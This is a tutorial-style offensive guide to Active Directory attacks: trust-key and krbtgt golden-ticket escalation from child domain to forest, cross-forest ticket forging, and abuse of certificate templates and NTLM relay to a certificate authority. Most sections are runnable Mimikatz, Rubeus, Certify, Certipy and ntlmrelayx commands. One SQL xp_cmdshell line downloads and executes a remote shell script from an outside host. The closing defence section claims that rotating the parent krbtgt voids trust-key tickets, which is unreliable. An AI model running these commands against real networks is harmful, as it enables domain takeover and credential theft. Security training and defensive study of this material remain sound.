Cross-Domain, Cross-Forest & AD CS Attacks — SID History, Trust Key & ESC Template Abuse

1. Child-to-Parent Domain Escalation

In a typical enterprise AD forest, the parent domain (corp.local) is the root and contains the most privileged accounts (Enterprise Admins, Schema Admins). Child domains (masaaki-corp.local) are separate security boundaries — but trust relationships between them can be abused to escalate from a child Domain Admin to Enterprise Admin on the root.

There are two methods depending on what you have extracted from the child DC.

1.1 Method A — Trust Key Exploitation

The trust between two domains is maintained by a trust key — essentially an inter-domain key pair. The child DC stores the trust key in its NTDS database. With child DA rights you can extract this key and forge an inter-realm TGT that includes the Enterprise Admins SID (519) in the SID history — bypassing the normal forest boundary.

# Step 1: Extract the trust key from the child DC via DCSync
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::trust /patch" exit

# Or via DCSync targeting the trust account
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\corp$" exit

# Example output — the [In] key is what you need:
[ In ] masaaki-corp.local -> corp.local
  * aes256_hmac       : 3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b
  * rc4_hmac_nt       : 5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e

# Step 2: Forge an inter-realm Golden Ticket with ExtraSids (Enterprise Admins SID)
PS C:\AD\Tools> .\Mimikatz.exe "kerberos::golden /user:masaaki_admin /domain:masaaki-corp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e /service:krbtgt /target:corp.local /ticket:child-to-parent.kirbi" exit

# Parameters:
# /sid    — child domain SID
# /sids   — parent domain Enterprise Admins SID (corp.local SID + -519)
#           Get corp.local SID: Get-DomainSID -Domain corp.local
# /rc4    — the trust key extracted above
# /target — parent domain FQDN

# Step 3: Get a TGS for the parent domain using the forged inter-realm ticket
C:\AD\Tools> .\Rubeus.exe asktgs /ticket:child-to-parent.kirbi /service:"krbtgt/corp.local" /dc:masaaki-dc.masaaki-corp.local /ptt

# Access resources in the parent domain
PS C:\AD\Tools> dir \\corp-dc.corp.local\C$
PS C:\AD\Tools> Enter-PSSession -ComputerName corp-dc.corp.local

1.2 Method B — krbtgt Hash of the Child Domain + ExtraSids

If you have the child domain's krbtgt hash (from DCSync), you can forge a Golden Ticket directly with the parent's Enterprise Admins SID injected into the ExtraSids field. This doesn't need the trust key — you're forging the TGT entirely within the child domain's key material.

# Get parent domain SID
PS C:\AD\Tools> Get-DomainSID -Domain corp.local
S-1-5-21-280534878-1496970234-700767426

# Forge the Golden Ticket with Enterprise Admins SID in ExtraSids
PS C:\AD\Tools> .\Mimikatz.exe "kerberos::golden /user:masaaki_admin /domain:masaaki-corp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /krbtgt:4e9a25a62b7b4c8c2b6e11f3a9d0e9a2 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt" exit

# Access the parent domain DC
PS C:\AD\Tools> dir \\corp-dc.corp.local\C$
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /domain:corp.local" exit

SID 519 = Enterprise Admins. By injecting this SID into the ExtraSids PAC field of a Golden Ticket, the parent DC's KDC sees the token as belonging to Enterprise Admins and grants access to all resources across the entire forest. This is the primary reason child domain compromise = forest compromise.

2. Cross-Forest Trust Attacks

Forest trusts connect entirely separate AD forests. SID filtering is enabled by default — it strips Enterprise Admins and Domain Admins SIDs from cross-forest authentication tokens. However, if the trust is not properly hardened, credential reuse and Kerberos delegation can still allow lateral movement.

# Enumerate what's accessible in the partner.local forest from your position
PS C:\AD\Tools> Get-ForestDomain -Forest partner.local
PS C:\AD\Tools> Get-ForestTrust -Forest partner.local

# Get the inter-forest trust key
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::trust /patch" exit
# Look for the partner.local entry

# Forge a cross-forest inter-realm TGT (SID filtering strips -519 and -512, but regular user SIDs work)
PS C:\AD\Tools> .\Mimikatz.exe "kerberos::golden /user:masaaki_admin /domain:masaaki-corp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:<trust-key> /service:krbtgt /target:partner.local /ticket:cross-forest.kirbi" exit

# Request a TGS for a service in partner.local
C:\AD\Tools> .\Rubeus.exe asktgs /ticket:cross-forest.kirbi /service:"cifs/partner-dc.partner.local" /ptt

# Access resources in partner.local
PS C:\AD\Tools> dir \\partner-dc.partner.local\C$

SQL Server cross-forest lateral movement: SQL Servers configured with linked servers across forest trusts can execute queries (and OS commands via xp_cmdshell) in remote forests. If SQL login is trusted across the forest boundary, this is a clean path to RCE in the partner forest without needing Kerberos tickets at all.

# Query linked servers on a SQL instance
SELECT * FROM sys.servers WHERE is_linked = 1

# Execute a command in the partner forest via linked server chain
EXECUTE ('xp_cmdshell ''whoami''') AT [partner-mssql.partner.local]

# Get a reverse shell
EXECUTE ('xp_cmdshell ''powershell -c iex(iwr http://192.168.100.55/shell.ps1 -UseBasicParsing)''') AT [partner-mssql.partner.local]

3. AD Certificate Services — Why It Matters

Active Directory Certificate Services (AD CS) is Microsoft's PKI implementation — it issues X.509 certificates for authentication, email signing, code signing, and more. Certificates issued by an enterprise CA can authenticate to AD as any user, including Domain Admins and Enterprise Admins.

Unlike password-based attacks, certificate-based authentication is not affected by password resets. A certificate issued to impersonate Domain Admin remains valid even after the DA's password is changed — until the certificate expires (often 1 year) or is explicitly revoked.

Why AD CS is devastating: Misconfigured certificate templates are extremely common — found in roughly 90% of enterprise AD environments scanned by research teams. Exploiting them requires no special privileges — often just a valid domain user account. And the resulting certificate survives password changes, account disabling, and even the deletion of the user object in some configurations.

Finding AD CS in the Environment

# Enumerate Certificate Authorities in the forest
C:\AD\Tools> .\Certify.exe cas

# List all certificate templates
C:\AD\Tools> .\Certify.exe find

# Find only vulnerable templates (the ones you can abuse)
C:\AD\Tools> .\Certify.exe find /vulnerable

# From Linux using Certipy
certipy find -u [email protected] -p 'Password123' -dc-ip 192.168.1.10 -vulnerable -stdout

4. ESC1 — Misconfigured Certificate Template (Enrollee Supplies SAN)

ESC1 is the most common and most impactful AD CS misconfiguration. A vulnerable template has three properties simultaneously:

Enrolment rights granted to a broad group (Domain Users, Authenticated Users)
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT — the requester can specify the Subject Alternative Name (SAN) themselves
Certificate purpose includes Client Authentication

The SAN can contain any UPN — including [email protected]. The CA issues a certificate saying you are the Administrator, and you use it to authenticate to the domain as them.

# Step 1: Find vulnerable ESC1 templates
C:\AD\Tools> .\Certify.exe find /vulnerable
# Look for templates with msPKI-Certificate-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT

# Step 2: Request a certificate as Administrator using a vulnerable template
C:\AD\Tools> .\Certify.exe request /ca:"masaaki-ca\masaaki-corp-CA" /template:"MasaakiVulnTemplate" /altname:"[email protected]"

# Output: a PEM certificate + private key — save as admin.pem

# Step 3: Convert to PFX for use with Rubeus
openssl pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

# Step 4: Use the certificate to get a TGT as Administrator
C:\AD\Tools> .\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:<pfx-password> /ptt

# Step 5: Domain Admin access
PS C:\AD\Tools> dir \\masaaki-dc\C$
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\krbtgt" exit

On Linux with Certipy:

# Request cert as Administrator
certipy req -u [email protected] -p 'Password123' -ca masaaki-corp-CA -template MasaakiVulnTemplate -upn [email protected] -dc-ip 192.168.1.10

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -username administrator -domain masaaki-corp.local -dc-ip 192.168.1.10
# Returns NT hash — use for PTH

5. ESC3 — Enrolment Agent & Certificate Request Agent Abuse

ESC3 involves two vulnerable templates working together. A template with the Certificate Request Agent Extended Key Usage (EKU) allows a user to enrol as an Enrolment Agent. This agent can then request certificates on behalf of other users — including Domain Admins — from a second vulnerable template that allows agent-based enrolment.

# Step 1: Enrol in the Enrolment Agent template to get an agent certificate
C:\AD\Tools> .\Certify.exe request /ca:"masaaki-ca\masaaki-corp-CA" /template:"EnrolmentAgentTemplate"

# Convert and save agent.pfx

# Step 2: Use the agent certificate to request a certificate ON BEHALF OF Administrator
C:\AD\Tools> .\Certify.exe request /ca:"masaaki-ca\masaaki-corp-CA" /template:"UserAuthTemplate" /onbehalfof:masaaki-corp\Administrator /enrollcert:agent.pfx /enrollcertpwd:<password>

# Converts to admin.pfx then authenticate as above
C:\AD\Tools> .\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:<pfx-password> /ptt

6. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 CA Flag

ESC6 is a CA-level misconfiguration rather than a template-level one. When the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on the CA, any template that allows client authentication can have an attacker-supplied SAN — even templates that don't explicitly enable ENROLLEE_SUPPLIES_SUBJECT.

# Check if the CA flag is set
C:\AD\Tools> .\Certify.exe cas
# Look for: UserSpecifiedSAN: Enabled

# If the flag is set, any standard user template becomes ESC1-like
# Request a cert from a normal user template specifying Administrator as the SAN
C:\AD\Tools> .\Certify.exe request /ca:"masaaki-ca\masaaki-corp-CA" /template:"User" /altname:"[email protected]"

# Proceed as in ESC1

7. ESC8 — NTLM Relay to the Certificate Authority Web Endpoint

AD CS includes a web enrolment endpoint at http://<CA-server>/certsrv/ that accepts HTTP-based certificate requests. This endpoint supports NTLM authentication and is not protected against NTLM relay by default. By relaying a DC machine account's NTLM authentication to this endpoint, you can request a certificate for the DC — and a DC certificate grants DCSync rights.

# Step 1: Set up ntlmrelayx targeting the CA web endpoint
python3 ntlmrelayx.py -t http://masaaki-ca.masaaki-corp.local/certsrv/certfnsh.asp -smb2support --adcs --template "DomainController"

# Step 2: Coerce the DC to authenticate to your relay (Printer Bug)
python3 printerbug.py masaaki-corp.local/masaaki:[email protected] 192.168.100.55

# ntlmrelayx intercepts the DC authentication and requests a cert from the CA
# Output: base64-encoded certificate for masaaki-dc$

# Step 3: Use the DC certificate to get a TGT for the DC machine account
C:\AD\Tools> .\Rubeus.exe asktgt /user:masaaki-dc$ /certificate:<base64-cert> /ptt

# Step 4: DCSync with the DC machine account TGT
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\krbtgt" exit

ESC8 requires no template misconfiguration — it works against any CA with the default IIS web enrolment interface. It's purely an NTLM relay attack against a built-in AD CS feature. The only mitigation is enabling EPA (Extended Protection for Authentication) or disabling the web enrolment endpoint entirely.

8. Prevention & Detection

Run Certify / Certipy in Audit Mode

Run Certify.exe find /vulnerable against your own environment quarterly. Any ESC1-ESC8 finding is a critical finding. Most are fixable by modifying template properties or CA flags.

Disable EDITF_ATTRIBUTESUBJECTALTNAME2

Run certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 on every CA to disable ESC6. Then restart the Certificate Authority service. This is a one-line fix for a critical misconfiguration.

Enable EPA on CA Web Enrolment

Enable Extended Protection for Authentication (EPA) on the IIS instance hosting /certsrv/. This breaks NTLM relay attacks (ESC8) against the CA endpoint.

Enable SID Filtering on Forest Trusts

Ensure FILTER_SIDS is set on all cross-forest trusts. This prevents SID history injection from crossing forest boundaries. Never disable SID filtering on any trust unless absolutely required.

Monitor Certificate Enrolments

Alert on event 4887 (Certificate Issued) where the Subject Alternative Name differs from the requesting account's identity. A user requesting a cert with Administrator's UPN is an immediate ESC1/ESC3 attack indicator.

Rotate krbtgt After Child Domain Compromise

If a child domain is compromised, rotate the parent domain's krbtgt password twice. The child-to-parent attack uses the trust key or child krbtgt hash — rotating the parent's krbtgt immediately invalidates all forged cross-domain tickets.